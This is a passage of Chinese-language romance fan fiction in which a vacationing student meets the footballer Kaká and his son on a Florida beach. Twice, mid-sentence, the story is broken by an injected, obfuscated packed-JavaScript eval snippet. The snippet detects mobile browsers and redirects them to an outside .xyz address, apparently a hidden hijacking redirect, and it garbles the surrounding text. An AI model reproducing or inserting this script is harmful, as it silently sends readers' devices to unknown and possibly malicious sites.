《【足球】赋格与沉沦》 1. 在夕阳和大海之间 佛罗里达州的夏日像一个橙黄色的巨大泡泡糖,热辣辣地,散发着令人目眩神迷的光晕。 我把自己埋在柔软的白色沙子下面,特意避开了被海水充分浸湿的区域,看着天空中飘来飘去的淡积云,舒缓表情,放空头脑。 惬意的八月,美妙的海滩——任由思绪漫无边际地飘散——日光浴的绝佳地点! 哦,还有一群兴奋的跑来跑去的游客们——我眼角的余光正瞟到他们的身影。 这处沙滩上的游客并不多,却很活力四射,这些两脚动物们像一只只露着标准长腿的非洲鸵鸟,呱噪着,摇摆着,大笑着,无意义地从我身旁旋转而去。 或许“无意义”才是度假的真正意义。 我漫不经心地想。只不过,但愿他们别把我看作是一块绊脚的岩石,或者沙漠里的植物根茎。也许,我应该竖起一块指示牌,以免成为他们快乐的障碍。 “你应该竖个牌子——” “什么?” 一只掉队的小鸵鸟突然冒出来——头发蓬乱,皮肤黝黑,浓眉大眼,大约七八岁。他在我惊奇的目光中叉着腰,说一口带着浓重口音的英语。 “我是说,你可以立个牌子,或者立个——”小男孩似乎一时想不起那个英文词,眉毛和鼻子皱到了一起,他小声地用葡萄牙语吐出了一个词,又连忙切回英语,“……这样一来,就不会有人一不小心踩到你啦。” “标志。”我说。 小男孩愣了一下,没反应过来。 “你刚才用葡语说的那个词,用英语读就是‘标志’。”我解释道,接着用葡语继续说,“我也觉得这个主意不错——”我煞有其事,“可惜这里没有硬纸板和彩色蜡笔,不然确实可以动手做个指示牌。或许我们可以找些替代品。” 小男孩慢慢地眨了眨眼睛。 “你会说葡萄牙语?你不是美国人?你从哪里来?你是葡萄牙人吗?还是巴西人呢?不过你说的好像和巴西人说的有点不一样——” 他兴奋地凑近我,用一口巴西味的葡语飞快地说了一连串。显然,不再需要用英语交流,让他感到格外自在。 “我不是葡萄牙人,只是恰好会说葡语。其实我算是西班牙人。你是从巴西来的?” “你怎么知道?” “闻出来的。”我故意逗他,“每个人身上的气味都各不相同,我的鼻子很灵敏的。” “我有什么味道?”他一听这话,急忙抬起胳膊,把鼻子凑近,使劲儿嗅了嗅自己,“我什么也闻不出来。” “大概是阳光、足球,还有巴西烤肉的味道——” “哦!”他吃了一惊,赶紧捂住了自己的嘴巴,“我爸爸昨天刚带我去吃了巴西烤肉!” “哈哈哈!”我忍不住大笑起来。 “姐姐,你真厉害!”他惊叹,看起来对我的话深信不疑,“还有足球,你也说对了!我超级喜欢踢足球,我爸爸说我很有天赋。我每次都能进球!就在之前的一场比赛里,我连续进了3个球,还给安德烈助攻了1个——” 巴西的小孩果然都爱足球啊! 小男孩足足有一刻钟都在滔滔不绝、眉飞色舞地讲述着他在足球上的“天赋异禀”和“丰功伟绩”。 “哦,差点忘了找‘标志’!”小男孩懊恼地拍了拍自己的脑袋,这一次,他总算是准确无误地用英语说出了那个词。“我太喜欢足球了,总是忍不住说很多。”他带着些不好意思,赶忙为自己辩解了一句。 “你瞧瞧这个怎么样?”他说着,从旁边俯身捡起一个红色的玩具小铲子,热情地展示给我看,“红色很有警示的意味。” 我明白他的意思,送上称赞:“很不错。” 他露出一个大大的笑容,小心翼翼地将小铲子插在我脑袋旁边的白色沙地上,接着往后退了两步,歪着脑袋,左右仔细打量,似乎在评估效果。 “还是不够显眼。”他自言自语。 “捡些贝壳来吧,”我为他出谋划策,“用那些五颜六色的贝壳在这里摆出一个独特的图案,肯定会非常显眼。” “太棒了!”他眼睛陡然一亮,“我这就去捡!” 真活泼啊! 我看着小男孩像一只撒欢的小鸵鸟一样——不是把头埋进沙子里的时候,而是奋力撒开脚丫子狂奔的时候——一骨碌弹了出去,不由地暗暗感慨。 从气候恶劣、寒风凛冽的芝加哥来到阳光明媚、坐落于佛罗里达半岛西岸的萨拉索塔度假,真是个明智的选择。 我沉醉在紫外线的照射下,缓缓眯起眼睛。 忍受了一整个冬天的寒冷,如今终于能够尽情领略松软的白沙滩、茂密的棕榈树、浪漫的海滨落日。还有那些赤裸着臂膀,毫不吝啬地露出壮实肌肉的佛州帅哥们…… 等等,肌肉帅哥? 我猛然一惊,眼睛瞪得老大。 一个毛茸茸的脑袋,恰到好处地挡住了我正上方的阳光,露出八颗洁白耀眼的牙齿,冲着我灿烂微笑。 我目瞪口呆地看着他。 几乎是在一瞬间,借着墨镜的巧妙遮掩,我肆无忌惮地将他上上下下打量了一番。 我的目光从他那被海风吹得东倒西歪、微微鬈曲的棕色短发开始一路下滑,掠过那张充满拉丁风情、留着胡茬的英俊脸蛋,最终落到他散发着健康光泽的小麦色肌肤上,还有那些均匀且紧实的胸肌和腹肌。 “姐姐,这是我爸爸。”几乎在同时,一个小脑袋也从旁边探了出来,兴奋地喊道,“我们捡回来好多好多贝壳呢!” 小鸵鸟,哦不,小男孩指着男人手中的彩色小水桶,兴高采烈地说。 我有些勉强地微微歪了歪脑袋,这位爸爸十分善解人意,立刻把水桶递到我面前,好让我能看清里面的贝壳。 “真棒!” 我下意识地随口夸奖着,可心里却涌起一丝尴尬。毕竟,被人家家长撞见自己在逗小孩玩,难免会觉得有些不好意思。 “你好,小姐。”这位爸爸用同款巴西风味的葡语友好地向我打招呼,“谢谢你陪着卢卡玩。” “这没什么。”我客气地回应着,又赶忙多说了几句好话,“卢卡活泼又机灵,我很愿意和他一起玩。” 卢卡略显腼腆地挠了挠头,他爸爸把装满贝壳的小水桶递到他手中,温和地问道:“你打算用这些贝壳摆个什么图案呢?” “足球。” 卢卡想都没想,脱口而出。 “好主意。”他爸爸立刻给予鼓励。 此刻,眼前的场景着实有些奇特。我,一个身着泳衣的年轻女士,只有胸腔以上的身体露在沙面之上;在我脑袋旁边,一个小男孩正蹲在那里,全神贯注地摆弄着他的贝壳,而他那身材健硕、面容帅气的爸爸,仅仅穿着一条沙滩裤,也以同样的姿势,静静地陪伴在一旁。 我隐隐怀疑那位爸爸也察觉到了这略显尴尬的氛围,心中有些许不自在,因为他轻轻清了清嗓子,主动开口与我搭话。 “卢卡说你是西班牙人,你的葡语说得真不错。” “葡语和西语很接近,我学起来倒也没费太多力气。”我谦虚了一下,“其实我是混血儿,一半中国,一半西班牙。” “哦!” 他听闻此言,脸上顿时浮现出惊喜之色,“原来是这样。这两个国家我都有幸去过。我与西班牙缘分不浅,曾在马德里踢了好几年的球;也去过中国好几次。” “踢球?你是职业球员?”我好奇地问,“你还去过中国?” 他点了点头,脸上的表情变得有些复杂,似乎既有怀念,也有些许无奈。 我心里倒是很惊奇,没想到在这偶然遇到的一个巴西帅哥,竟然是个职业球员。难道真的像人们说的,十个巴西人里就有九个会踢足球? “我在马德里的足球俱乐部里有几个非常要好的朋友。”他又补充了一句。 “我妈妈就在马德里出生和长大,” 我微笑着说道,“我爸爸是中国人,他们是在美国读大学时的同学,后来一起去中国工作。我从小在中国长大,不过每年都会回西班牙。” 马德里似乎有个很出名的足球俱乐部。我努力在脑海中回忆着,奈何我对足球毫无兴趣,仅有的那点浅薄了解,也不过局限于贝克汉姆是全球商业价值极高的足球明星,以及巴西人热爱足球这类大众皆知的热门新闻和网络段子罢了。因此,即使我每年都会回马德里看望外公外婆,也从未特意去了解过足球方面的资讯。 那个足球俱乐部是叫皇家马德里吧?我的脑海中浮现出一些名词。还有个叫C罗的足球明星? 不过哪有那么巧,这位先生想必只是一位普通的球员。我暗暗琢磨着,随即便把这事抛到了脑后。 “我对中国的印象好极了,”男人继续说,“中国球迷很热情也很可爱,中国菜的味道很丰富,中国的景色也特别美。” “与欧洲和美国相比,中国确实是有一番截然不同的景致。”我赞同地点了点头,“中国几千年的文明古老神秘而独树一帜,中国人很勤奋,也很友好。” 我们热烈地谈论起中国的诸多名胜古迹,比如北京的长城和故宫,还有一些经典美食,像皮脆肉嫩的北京烤鸭和热辣过瘾的四川火锅,以及憨态可掬的大熊猫。 “你现在是常居中国吗?是来美国旅游的吗?”他问。 “我现在在芝加哥大学读书,来佛州是为了尽情享受这里的阳光和白沙滩。” “我也很喜欢海边。”他会意一笑,“我平常住在奥兰多。奥兰多是个非常棒的城市,阳光充足、街道干净、市民友好,唯一的遗憾可能就是没有美丽的白沙滩了。” “但是它拥有环球影城!”我兴奋地说,“全美唯二两家环球影城中的一家!说实在话,我觉得仅凭拥有环球影城这一点,就足以吸引各方游客前往奥兰多了。” “你喜欢环球影城?”他说道,语气中带着几分揶揄,仿佛我们已经相识许久,“怪不得你和卢卡玩得来,你们俩都对环球影城情有独钟。” 他这般语气,反倒让我理直气壮起来:“没有人会不爱环球影城!哪怕到了八十岁,也依然有穿着巫师袍,撞进九又四分之三站台,去霍格沃茨的权利。” “当然,当然。” 他见我如此认真,反而显得有些不好意思,伸手摸了摸鼻子,没有再多说什么。 话音刚落,我便有些后悔,意识到自己刚才那番话说得太过冲动,不够婉转。 为了填补沉默,我赶紧转移话题:“卢卡的妈妈呢?她没有和你们一起来吗?” 男人听到这个问题,明显迟疑了一下:“她——” 他的视线缓缓下移,语气也在不经意间发生了微妙的变化,仿佛有一件尴尬的事必须讲明,却又难以启齿似的,“她在巴西,并没有和我们一同前来……嗯,实际上,不久前我们离婚了。” “啊!” 我不禁轻呼一声。我怎么这么鲁莽,哪壶不开提哪壶!这下子我是真真切切地感到尴尬了,“实在抱歉,我不是有意提起你这件伤心事的。” “嗨,别放在心上,”他仍然垂着眼,嘴角勉强地咧了咧,看样子是在竭力做出一个微笑,“我早就接受这件事了。我和她分分合合好几年了,最后走到这一步,也是在所难免。” 我有些犹豫,一时间竟不知该如何安慰他才好。 不得不说,帅哥哪怕情绪低落,也格外令人心疼啊…… “小姐,谢谢你陪卢卡玩耍。”他很快抬起头,又轻声、又柔和地说了一句。 “你刚才已经道过谢啦。你可以叫我佐伊。”我尽可能友好地回应道。 “很高兴认识你,佐伊,” 男人轻快道,仿佛刚才的阴霾已然散去,但眼眸深处仍藏着一丝难以抹去的忧愁,“我是里卡多。” 此时,卢卡在沙滩上用大大小小的贝壳精心摆出了一个二维版的足球图案。虽说那图案乍一看更像是一个被慷慨撒满了番茄片的披萨——但他爸爸和我还是默契地交换了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956387|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神,随后不约而同地给予了夸奖。 - 阳光宛如一块被舔干净芝士夹心的海盐饼干,滋味变得愈发稀薄而寡淡起来。潮水翻涌,开出泛白的花朵,一朵挨着一朵,一簇拥着一簇,彼此依偎在一起,迤逦成一条闪光的银链,悠悠地涌上沙滩。 “涨潮了。”他望着海岸线,似乎在估算海浪朝我们涌来的距离,语气中却又透着轻松,“佐伊,或许现在是个结束沙滩浴的好时机。” “正有此意。”我抬起胳膊,开始奋力地从沙地中“挖掘”自己。 “姐姐,我来帮你!”卢卡觉得这很好玩,跑过来加入我的“挖掘行动”。 我察觉到了里卡多的微妙动作:他向前迈了一小步,似乎在犹豫是否要加入我们的行列。 我把手掌稳稳支在地面上,用力一撑,身上覆盖的那一层薄薄的沙粒就如同被利刃切开的奶酪般,纷纷散落。我轻盈地从沙中一跃而起。 “看起来,你需要好好冲洗一下。”里卡多的目光扫过我,忍俊不禁道。 可想而知,我现在浑身上下都沾满了白色沙粒。我耸耸肩,对这场小小的沙滩灾难不以为意。 - 现在,天空中的那轮太阳,仿佛沉甸甸地快要坠入大海之中。 在这柔和的光线中,大地的轮廓变得朦胧,天和海的界限渐渐模糊,渐渐远去,如同一团缓缓洇开的水彩颜料。 天边被染上了一层层渐变的色彩,温暖的橙黄、烂漫的紫罗兰、精心调和的淡粉和深浅不一的金色,那些颜色交缠在一起,更迭着,流动着,最终融合成一种如梦似幻、辉煌灿烂的玫瑰色,渗入到海水之中。 刹那间,整个海面仿佛都被点燃了。 海浪的声音越来越清晰,似乎连空气中的微尘都变得波光粼粼,天地万物仿佛都在接受着玫瑰色光芒的洗礼。 我摘掉墨镜,凝望着海面上的余晖,腰间的栗色长发在风中舞蹈。 “在夕阳和大海之间, 爱人的手和唇抚爱了我。 昼带来夜,甜带来酸, 长久的愿望带来短暂的欢乐。 爱情啊,你带来的是什么, 在沙丘和大海之间?” 我低语着,嗓音松弛、轻柔,如同梦呓。 卢卡对这美景发出惊叹,他爸爸则在海风的轻拂下转过头,目光直直地落在我身上。 他似乎是第一次如此真切地看到了我的双眼——那双蓝绿色的眼睛,犹如热带海域中的珊瑚礁,色彩奇异,闪闪发亮。 “在海滨与大海之间, 爱笼罩梦,梦笼罩我。 第一颗星看见二化为一, 在月升和日落之间; 第二颗星不见爱,只见我, 在海岸和大海之间。” 我转过视线,微笑着看着他。“《在夕阳和大海之间》,英国诗人斯温本的诗。” “这首诗很美。”他说。 “爱情到底是怎样一种东西呢?美丽的夕阳,美好却易逝,永久又短暂;至于潮汐,时而高扬,时而低伏,扬起得越高,沉伏得便越低,和爱情又有什么两样呢?相爱的恋人们,喜转为悲,悲化为己,爱变作泪,泪流成火……” 他一眨不眨地直盯着我,那专注的眼神让我莫名地有些不好意思,嘴里的话语也不由自主地停了下来。 没有了墨镜的遮挡,我清晰地看到他褐色的眼睛里,有一种灼热的光芒在闪动,那是穿透了一层又一层黑刺李般的深幽之后透出的清亮。 我的心微微一缩,就像是被一只调皮的小猫轻轻挠了一下似的。 真是英俊! 这种英俊并不令人望而生畏,反而让人情不自禁地想和他多说说话。这张脸蛋如此叫人喜欢,神采又这样灿烂阳光,态度又如此温柔可亲,举止又极其彬彬有礼。 “你的眼睛是蓝绿色的。”他蓦然说。 我胡乱地点了点头。 “这在混血儿中很少见,真美。”一抹笑意在他的唇边徘徊着。 “我妈妈不是纯种的拉丁人,祖上有日耳曼人的血统。我曾外祖母也是蓝眼睛。”我对他解释。 他的笑容怎么这样可爱? 隔着墨镜尚不觉得,但当我直面他的笑容,一种前所未有的感觉怦然而生——我的心脏好像连接上了电流似的,剧烈地颤动了一下,以至于我差点没听清他紧随其后的一句话:“我有一部分意大利血统,但相比之下,我的眼睛就显得很普通了。” “你的眼睛也很美。”我说,这是真心话。 当凝视他的眼睛的时候,我忽然有了一种奇异的、近乎脱离尘世的感觉,好像正独自站在世界的边缘……远处是荒草茂密的原野,周身笼罩着蒸人的热气和熠熠的阳光,那个棕色头发的少年在草地里奔跑着,追逐着什么。 他大笑着,勇敢无畏;挥动双臂,像一个精灵。他越跑越快,仿佛在风中飞了起来,金黄色的花粉遗落在他身后,和空中白色的尘埃一起四散飞舞。他回过头来望着我,那双褐色的眼眸—— “它就像初春刚解冻的泥土,柔和而湿润;像途鸟高扬的翎羽,像绿野疯长的果实……” 恍惚中,我听见自己在说话。 “它是幽深的黎明,寂静的呼唤,光泽的岁月,不歇的热忱;是无数个瞬息中一刹那的停滞,映照出你生命中连绵起伏的风景,你的温柔时光,你对这个世界无限的爱意。” 他一下子怔住了,似乎过了好几秒,又或许是好几分钟——我清醒过来,感觉心头正怦怦猛跳,我怀疑自己的脸现在已经红成了一片,脸蛋上滚烫的热度提醒着我这一刻的真实。 “你也是个诗人吗?”过了很久,我听到他在问。 我摇了摇头,我大学主修的是人类学。我大概算一个蹩脚的三流文学爱好者。 “但你是个诗人,佐伊。”他的声音很轻,却如同海浪般在我耳边回响 。 2. 里卡多 酒店一楼的洗衣房里,洗衣机和烘干机正轰轰运转着。我把一篮衣服往正数第三个洗衣机里丢。 这家四星级酒店坐落在一个僻静的海滩附近,在网站上评分颇高,自诩拥有宽敞的落地窗,正对着蔚蓝大海和洁白沙滩。“房间配备高级按摩椅!高级按摩浴缸(可容纳两人)!高级自动马桶!” 等到我一周前入住的时候才被告知,想使用任何带“高级”前缀的设备都需升级房型、另外加钱——倘若要付那样额外的一笔钱,我的预算就要超支了。因此,我只能舍弃了我期待的高级按摩浴缸,搬进了一个只带有落地窗的标准房间。 早在今年四月,美国的大学就开始陆续放暑假,而芝加哥大学一直拖到了六月份才正式放假。不过学校似乎考虑到可怜的学生们已经忍受了将近小半年无比糟糕的寒冷和大风天气,因此非常慷慨地给了我们长达121天的假期! 我关于暑期的计划是早就制定好的:六月份留在学校修暑期学分,七月马不停蹄地赶去参加一个人类学专题的国际项目。八月开始,我则计划全面放松,先飞往南部,找一个海边度假胜地,享受两周的阳光和大海。若能把苍白的肤色晒得稍微健康一些,那就再好不过。然后,我计划飞去马德里看望外祖父母,九月份再飞回中国与父母团聚。 就目前而言,暑期计划进行得很顺利。 我关上洗衣机门,按下启动键,思绪飘回到刚放暑假时,我对大学室友们透露将要去佛州度假,她们大笑着怂恿我带上最性感的比基尼。 “你什么都不用做,只要去沙滩上躺着就行了。你是个漂亮姑娘,会有源源不断的帅哥过来找你搭讪的!” “去找个热情的东南海岸肌肉男约会,佐伊!”来自明尼苏达州的室友露娜信誓旦旦地对我说(她的家乡冬天最冷的时候温度可达零下40华氏度),“寒冷地区的男孩子都太冷静,太敏感了。” 她是“地缘性格说”的忠实拥趸。 “其实我最喜欢南美的小伙子们,不过我们在北美。”她耸耸肩,“佛州也还凑合。” 虽说我没把室友们的打趣太放在心上,却也忍不住暗自期许,若能邂逅一场奇妙缘分或许也不错——当然,对方必须是个帅哥,且绝不能头脑空空! 比如,昨天遇到的那个——里卡多。 我在心里默默念了一遍他的名字。 他不笑的时候温文尔雅,犹如那位被月亮女神偷吻的牧羊人恩底弥翁。而他笑起来的时候,简直是在用笑容向我诠释拉丁美洲上最热烈的阳光。 我苦恼地叹了口气,思绪就像一只被关在笼子里的仓鼠,翻来覆去地回溯着昨天分别时的情景,每一个细节都在我心中反复放映。 那时的气氛很好,他牵着小卢卡,用那双黑褐色的眼睛亮晶晶地望了我好一会儿,眼神里似乎蕴含着千言万语。他的嘴张了张,好像想说些什么。但最后,他只是笑笑并且冲我摆摆手告别。 他当时想对我说什么呢? 我不由得心烦意乱,恨不得把他像剪贴画似的从记忆中摘出来,仔细瞧一瞧他的嘴型。 他为什么不问我的电话号码呢? - 收完衣服,我轻步走回酒店三楼的房间。 阳光毫无保留地透过落地窗,将金色光辉洒满整个房间。光线在地板上跳跃,与家具的轮廓相织成了一幅光影画作。我赤着脚,轻轻踩在这片光影之中,在行李箱里挑选着衣服。一番左挑右选后,那件天蓝色的比基尼还是被我翻了出来。 换上它后,我在镜子前仔细打量,心中暗忖,虽皮肤略显苍白,但万幸体态尚算婀娜。我换上一副更加俏皮的墨镜,在皮肤上涂抹上防晒霜,便踩着凉鞋,脚步轻快地走出酒店。 穿过一条车流稀少的马路,昨天的沙滩再次扑入眼底。 我先下海让清凉的海水打湿身体,继而不动声色地四处张望。今天的沙滩似乎比昨天更加宁静,游客寥寥无几,或许是因为今日万里无云,骄阳更显炽烈。 几对夫妻正带着孩子在海边嬉戏,一群年轻人在沙滩上玩着排球——沙滩上的景象一览无余。没有寻找到我脑海中浮现的身影,我简直是大失所望,立马断定这里很是索然无味了。 我闷闷不乐地在原地站了一会儿,旁边那群年轻人里跑出来一个小伙子,百般邀请我加入他们的游戏。我礼貌地拒绝了他,托言现在太阳太晒了,我只想在沙滩椅上休息一会儿。 既然如此,我就干脆拖着步子,挪到沙滩边的椰子树下去了。 我躺在沙滩椅上,心不在焉地望着被烈日烘烤得无精打采的椰子树叶。时间仿佛停滞了,但几乎是每过十分钟,我便会不由自主地抬起头,把墨镜往额头上一推,迫不及待地张望一番,希望能看到那对父子的身影。但每次都只能带着失望,重新将头靠回椅背。 我在沙滩椅上度过了差不多有一个小时。太阳渐渐升高,临近中午时分,我再也无法忍受这炎炎烈日,下定决心要回酒店去了。 当我起身准备离开时,那群打排球的年轻人中恰好有两个小伙子走过来买冷饮。他们再次盛情邀请我加入他们的行列。 其中一位青年,拥有一头浓密的金发和一双蓝眼睛,他言辞恳切,说话格外殷勤。他告诉我,如果我对排球不感兴趣,他们稍后计划去骑水上摩托,请我务必要赏光加入。我不好意思再次拒绝人家的好意,便微笑着答应了。 一整个白天,我都和这群当地的大学生们待在一起。同龄人的活力和热情稍稍弥补了我心中的失落。一直到下午六点钟,我和新朋友们坐在沙滩旁边的冷饮店里有说有笑时,我都以为今天不会再遇见那对父子了。 当时,布洛迪——那个金发碧眼的青年,正坐在我身边,兴趣盎然地讲着一个堪称乏味的笑话。他是这群人里的中心人物,这些年轻人总愿意捧他的场。 我友善地扯了扯嘴角,心思却开始游离,目光不经意间飘向了窗外。 就在那时,我瞥见了卢卡,他戴着一顶棒球帽,正蹦蹦跳跳地往冷饮店走来。我的心瞬间被喜悦填满,我几乎是本能地站起身,将上半身探出窗外,向卢卡挥手。 “嘿!卢卡——”我用葡语大声呼唤。 “佐伊姐姐!”卢卡也立刻注意到了我,高兴地叫嚷起来。 顺着卢卡的身影,我的视线迅速向后延伸——果然,那个我期待了一整天的人正跟在卢卡身后,以一种从容的风度,悠闲地踱步而来。 心脏在那一刻狂跳起来。 “佐伊姐姐!原来你在这里。”卢卡率先跑到了窗边,他微微曲背,双手撑在大腿上,喘了几口气。 原来?这是什么意思?我快活得像被塞满芨芨草的脑子勉强开始运转。 “你们在找我吗?” “对!”卢卡用力地点点头,“我们刚才在沙滩上溜达了好大一圈,到处都没看到你。” “我一整天都待在沙滩上——除了这会儿。”我笑着说,“我还以为你们今天不会来了。” “早上卢卡闹着要去看电影。”那人终于走了过来。 他今日的穿戴十分整齐,一件米色短袖搭配着白色休闲短裤,头戴一顶与卢卡同款的神奇四侠棒球帽,高挺的鼻梁上架着一副墨镜,整个人显得既休闲又时尚。两腮那淡青色的胡茬也被刮得干干净净,愈发衬得面容俊朗。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956388|160973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他的声音里带上了一丝歉意,仿佛是在为他们白天没来而解释。“《新神奇四侠》今天上映,卢卡是这部电影的忠实粉丝。” 我笑意盈盈地看着他,两扇贴着冷饮店印花的玻璃窗被我完全推开,我微微前倾着身体,手肘轻巧地搭在窗框上,手中的墨镜一会儿在右手食指上晃悠,一会儿又跑到左手上摩挲。 “电影好看吗?” 我问道。真奇怪,我似乎已经全然不介意他们 “消失” 了几乎一整个白天。就在五分钟之前,我还满心幽怨,郁郁寡欢呢。 “太棒了!” 卢卡夸张地做了个鬼脸,那模样可爱极了,“要是不用费劲猜英语,那就更完美啦。等我回到巴西,一定得去电影院再看一遍!” 我被卢卡逗得哈哈大笑,就在这时,耳边恰好飘来了一句英语。 “佐伊,你们在聊什么呢?这是你的朋友吗?” 布洛迪是第一个注意到窗边情况的人,随后,我的新朋友们也被这突如其来的小插曲吸引了注意力,纷纷停下了交谈。 “你们好!” 里卡多凑近窗户,脸上绽放出迷人的笑容,朝冷饮店里的年轻人们打着招呼。 “这是我的朋友里卡多,还有他的儿子卢卡。他们来自巴西。”我为他们介绍,“这是布洛迪、达比、露西卡、简、杰登……” 然而,接下来发生的一幕却令我万分诧异——我身边的这些年轻人竟然全都从座位上站了起来。他们如同一群叽叽喳喳的鹌鹑,争先恐后地探出头去,想要一睹窗外的风采。 而在这场突如其来、莫名其妙的热闹中,我不知不觉被挤到了人群的最后面,身边所有的嘴都在一开一合地往外蹦着字。 一时之间,我困惑极了。 布洛迪在兴奋地大喊大叫,他的声音在一片嗡嗡声中最为嘹亮,我艰难辨认着他的话语,似乎听到了“难以置信!”“是我先认出来的!”“居然真的是!”“卡卡!”等词汇。而“卡卡”这个词被各种声音反复提及了许多次。 “这是怎么一回事?有谁能给我解释一下?”我哭笑不得,扯着嗓子大声说话,可声音却瞬间淹没在了一片嘈杂声中,激不起半点水花。 我不清楚里卡多是如何做到的,但他似乎拥有一种魅力来掌控局面。最终——至少过了有一刻钟,他成功地让这一排探出窗外的脑袋都安安静静地闭上了嘴。 随后,他走进了冷饮店,竟然开始给这些年轻人签起了名,那架势仿佛他是一位备受瞩目的名人,而他们则是热情似火的粉丝。 我把眼睛瞪得滚圆,神色中满是不可置信。 “卡卡” 这个名字在我脑海中不断回响,似乎触动了记忆的某个角落。一个不可思议的念头兀然跳出:难道里卡多并非我先前所认为的那样默默无闻? 这个想法让我既震惊又有些慌张,迫切想要弄清楚事情的真相。 我迅速拿出手机,在搜索栏里输入 “卡卡” 进行搜索。 屏幕上立刻跳出了“里卡多·伊泽克松·多斯·桑托斯·莱特”这个名字。紧接着是一张张他身穿球衣的照片,以及对这位足球明星的详细介绍,那些辉煌的成就和荣誉,让我越发觉得眼前的一切是如此不真实。 我呆愣了几秒钟,大脑还在努力消化着这个信息。下意识地点开网页上的照片,将手机屏幕举起来与眼前的这人对比。尽管照片中的他看起来更年轻,但那标志性的笑容依旧如出一辙。 “爸爸年轻时真帅。”卢卡拿着两个冰淇淋,一脸开心地挤到我身边,抬头看着我的手机屏幕。 “佐伊姐姐,你要哪个口味?树莓的还是夏威夷果仁的?我请你吃冰淇淋。”卢卡笑眯眯地说。 3. 你愿意和我约会吗 “你竟然没告诉我你爸爸的真实身份!”我哀怨地瞅了一眼卢卡。我们正坐在冷饮店外面的椰子树下,享受着冰淇淋的清凉。“我们还算不算好朋友了?” 卢卡大口咬下冰淇淋,嘴里含糊不清地回答道:“我们从一开始就没瞒着你呀,是佐伊姐姐你不认识我们嘛!” 我忍不住低声嘟囔:“我又不追足球明星。” 原本以为他爸爸只是个普通的球员,没想到…… 我赌气般地直直瞪着冷饮店,透过那扇窗户,店里热闹非凡的合影场景尽收眼底。各种各样的念头一股脑地掠过心头。 尽管不愿承认,但很快,我便满怀酸楚地意识到,我人生中的第一次悸动,可能马上要无疾而终了。他竟然是卡卡!一个我曾有所耳闻的足球明星。 我不禁想象着那些簇拥在他身边的人们,他们洋溢着的热情与崇拜,他们用美言嘉誉和火辣目光围绕着他。他必然对这一切司空见惯,他见识过无数美人,也遇到过诸多的倾慕者。在这片如汹涌浪潮般的热情之中,我似乎渺小得微不足道,就连我这份刚刚萌生的喜欢,也变得黯淡无光起来。 我感到胸口一阵阵发紧。 然而,我天性不肯服输,于是深深吸了一口气,转念一想:抛开他耀眼的职业光环,他本质上也只是一个身材很棒、脸蛋漂亮、性格很好的男人。他之所以能吸引我,不正是因为他的这些特质吗?我凭什么不能喜欢他呢?就算他身边有再多的人,我也有权利表达自己的感情。 “你的冰淇淋快化了。”卢卡提醒我。 我回过神来,暂且把脑海中这些杂乱无章的念头搁置一旁,狠狠舔下一层冰淇淋。 卢卡看了我一眼,眼神中带着一丝欲言又止。突然间,他竟像个小大人一样叹了口气:“明天我和爸爸就要回奥兰多了,后天我就得回到妈妈那儿去。” “这么快!”我大吃一惊,手中的冰淇淋球差点掉下来,“怎么不在萨市多玩几天呢?” 卢卡轻轻地摇了摇头,他的冰淇淋已经吃完,他便把两个胳臂肘支在盘腿而坐的膝上,双手托着下巴,显得有些发愁。 “我妈妈想要我快点回去,我爸爸也要去踢下一场比赛了。”说着,他的眼神黯淡了下来,仿佛被一层阴霾笼罩。 “妈妈总是在埋怨爸爸,他们告诉我要心疼妈妈,站在妈妈那一边。可我觉得爸爸对我也很好啊,爸爸每天都会抽出时间陪我玩,给我讲好多有趣的故事。爸爸也很可怜!”他的声音渐渐低沉下去,眼神中透露出迷茫和困惑。 “要是我能分成两半就好了。他们以为我什么都不知道,但我很清楚,他们是怕我和爸爸待得的时间太久就不和妈妈亲了……” 真是个懂事的好孩子。我心中一阵感动,抬手轻轻摸了摸他的头,试图给予他些许安慰。“卢卡,你有这样的烦恼是再正常不过的了。你有没有考虑过,和爸爸妈妈坦诚地说一说你的这些感受呢?” 他的眼神中闪过一丝犹豫,低下头去,双手也无意识地放下来,交缠在一起。“我不知道,佐伊姐姐。我担心他们不会听我说话,会觉得我只是个小孩子,根本不懂大人之间的那些事。就算我说了,他们可能也不会放在心上。” “别害怕他们会把你当作小孩子看待。”我把声音放得更柔和了,轻轻握住他的小手,“你的感受同样重要,而且你比你想象的要成熟得多。你能察觉到爸爸妈妈的想法,还能为他们着想,这已经很了不起了。 “勇敢地去表达你的真实感受,说你同样爱着他们两个人,失去任何一个都会令你心碎。只要你真诚地说出来,他们会理解的。即便爸爸妈妈分开了,但对你的爱是不变的呀。” 卢卡静静地听着,神色变得越来越慎重,似乎在认真地消化着我的话。过了好一会儿,他才低声说道:“谢谢你,佐伊姐姐,我会试试看的。” 随后的一段时间里,卢卡的情绪明显好转了一些,我们沉浸在一款猜词游戏中,直到球星先生和他的球迷们终于肯结束这场见面会。 “嘿,佐伊——”布洛迪面带笑容,一路小跑着来到我跟前,说道,“我们今晚在海边安排了一个烧烤派对,啤酒和冰饮无限畅饮!你一定要来加入我们!” “谢谢你的邀请,布洛迪。不过我已经和卢卡约好了。”我婉拒道,冲卢卡俏皮地挤挤眼睛,卢卡立刻心领神会,一本正经地冲他点了点头。 